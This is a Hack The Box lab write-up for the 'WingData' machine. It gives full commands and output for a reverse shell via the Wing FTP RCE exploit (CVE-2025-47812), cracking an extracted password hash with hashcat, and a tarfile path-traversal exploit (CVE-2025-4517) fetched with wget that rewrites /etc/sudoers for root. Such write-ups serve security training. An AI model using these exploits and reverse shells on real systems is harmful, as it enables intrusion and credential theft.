WingData WriteUp

WingData is an 🟩 Easy difficulty machine on Hack The Box, Season 10, created by WackyH4cker. The attack chain combines exploiting a vulnerable Wing FTP Server for initial access, extracting and cracking credentials from configuration files, and privilege escalation through a vulnerability in Python’s tarfile module.

🗺️ Attack Chain

Reconnaissance → Port 80 + 22
      │
      ▼
Web enumeration → ftp.wingdata.htb (Wing FTP Server v7.4.3)
      │
      ▼
CVE-2025-47812 → Unauthenticated RCE → Shell as wingftp
      │
      ▼
/opt/wftpserver/Data/1/users/wacky.xml → Salted SHA-256 hash
      │
      ▼
Hashcat (mode 1410) → Plaintext password → SSH as wacky
      │
      ▼
sudo -l → restore_backup_clients.py (root) → CVE-2025-4517
      │
      ▼
Malicious tar → path traversal → /etc/sudoers → root 🏴

🔍 Reconnaissance

/etc/hosts Setup

Before we start, we add the machine IP to /etc/hosts so we can use the domain name across all tools:

echo "10.129.244.106 wingdata.htb" | sudo tee -a /etc/hosts

Port Scanning

We perform reconnaissance in two phases: first quickly discovering open ports, then running detection scripts against them.

Phase 1 - Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv wingdata.htb

Phase 2 - Version and script detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv wingdata.htb

Ports found:

Web Enumeration

We fuzz directories on the main site:

ffuf -u http://wingdata.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 40

/assets     [Status: 301]
/vendor     [Status: 301]   ← PHP framework indicator

Nothing relevant on the main site. We enumerate virtual subdomains:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://wingdata.htb" -H "Host: FUZZ.wingdata.htb" -fw 21

ftp    [Status: 200, Size: 678]

🎯 We found the subdomain ftp.wingdata.htb. We update /etc/hosts to include it:

sudo sed -i 's/wingdata.htb/wingdata.htb ftp.wingdata.htb/' /etc/hosts

Visiting http://ftp.wingdata.htb shows the Wing FTP Server v7.4.3 login page.

💉 Initial Access - CVE-2025-47812

What is CVE-2025-47812?

🧠 Wing FTP Server v7.4.3 contains an unauthenticated remote code execution vulnerability. The server exposes an endpoint that processes Lua commands without properly verifying the user session, allowing any attacker to execute arbitrary code on the system.

We download the PoC:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc

Set up the listener:

penelope -p 8443

Run the exploit with our reverse shell:

python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.14.100 8443 -e /bin/sh" -v

[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.14.100 8443 -e /bin/sh' and username: 'anonymous'
[+] UID extracted: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: bfee565dfeccd21a28c60c4dfb4d7cdef528764d624db129b32c21fbca0cb8d6

Our listener receives the connection:

wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
wingftp@wingdata:/opt/wftpserver$ hostname
wingdata

✅ Shell obtained as wingftp.

🔑 Credential Extraction

Wing FTP Server stores users and passwords in XML files inside the installation directory:

find /opt/wftpserver -name "*.xml" 2>/dev/null

/opt/wftpserver/Data/1/users/wacky.xml

cat /opt/wftpserver/Data/1/users/wacky.xml

<User>
  ...
  <Username>wacky</Username>
  <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
  ...
</User>

💡 Wing FTP Server uses SHA-256 with the default salt WingFTP in sha256($pass.$salt) format, which corresponds to hashcat mode 1410.

Hash Cracking

We prepare the file in hash:salt format:

echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hash.txt

Run hashcat:

hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Session..........: hashcat
Status...........: Cracked

🔑 Credentials obtained: wacky:!#7Blushing^*Bride5

🔀 Lateral Movement - SSH as wacky

ssh wacky@wingdata.htb # !#7Blushing^*Bride5

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Privilege Escalation - CVE-2025-4517

sudo Permissions Enumeration

sudo -l

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

⚠️ Key finding: We can run restore_backup_clients.py as root with any argument (*). This script restores client backups by extracting .tar files. Let’s inspect it:

cat /opt/backup_clients/restore_backup_clients.py

The script accepts a .tar file from /opt/backup_clients/backups/ and extracts it using tarfile.open().extractall() with filter="data".

What is CVE-2025-4517?

🧠 Python’s tarfile module (versions 3.8.0–3.13.1) contains a vulnerability that allows arbitrary file write outside the extraction directory, even with filter="data" enabled. The exploit chains three techniques:

1. Path overflow: Creates paths deeper than PATH_MAX to confuse path resolution.
2. Symlink traversal: Creates symlinks pointing outside the extraction directory.
3. Hardlinks: References escaped symlinks via hardlinks, which filter="data" does not filter correctly.

The result: we can write to any file on the system, such as /etc/sudoers.

Exploitation

The exploit creates the malicious tar, deploys it to the backups directory, triggers the vulnerable extraction, and automatically spawns a root shell:

# Clone the repo and copy the exploit to our Kali http folder
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData
cp CVE-2025-4517-POC-HTB-WingData/CVE-2025-4517-POC.py ~/http/exploit.py
# Serve files with goshs
goshs -d ~/http -p 80 -i 0.0.0.0
# Transfer the exploit to the machine and run it
wget http://10.10.14.100/exploit.py
python3 exploit.py

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝
    
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y

[*] Spawning root shell...
[*] Run: sudo /bin/bash

root@wingdata:/home/wacky#

🏴 Root Flag

cat /root/root.txt

📝 Attack Chain Summary

See you in the next challenge.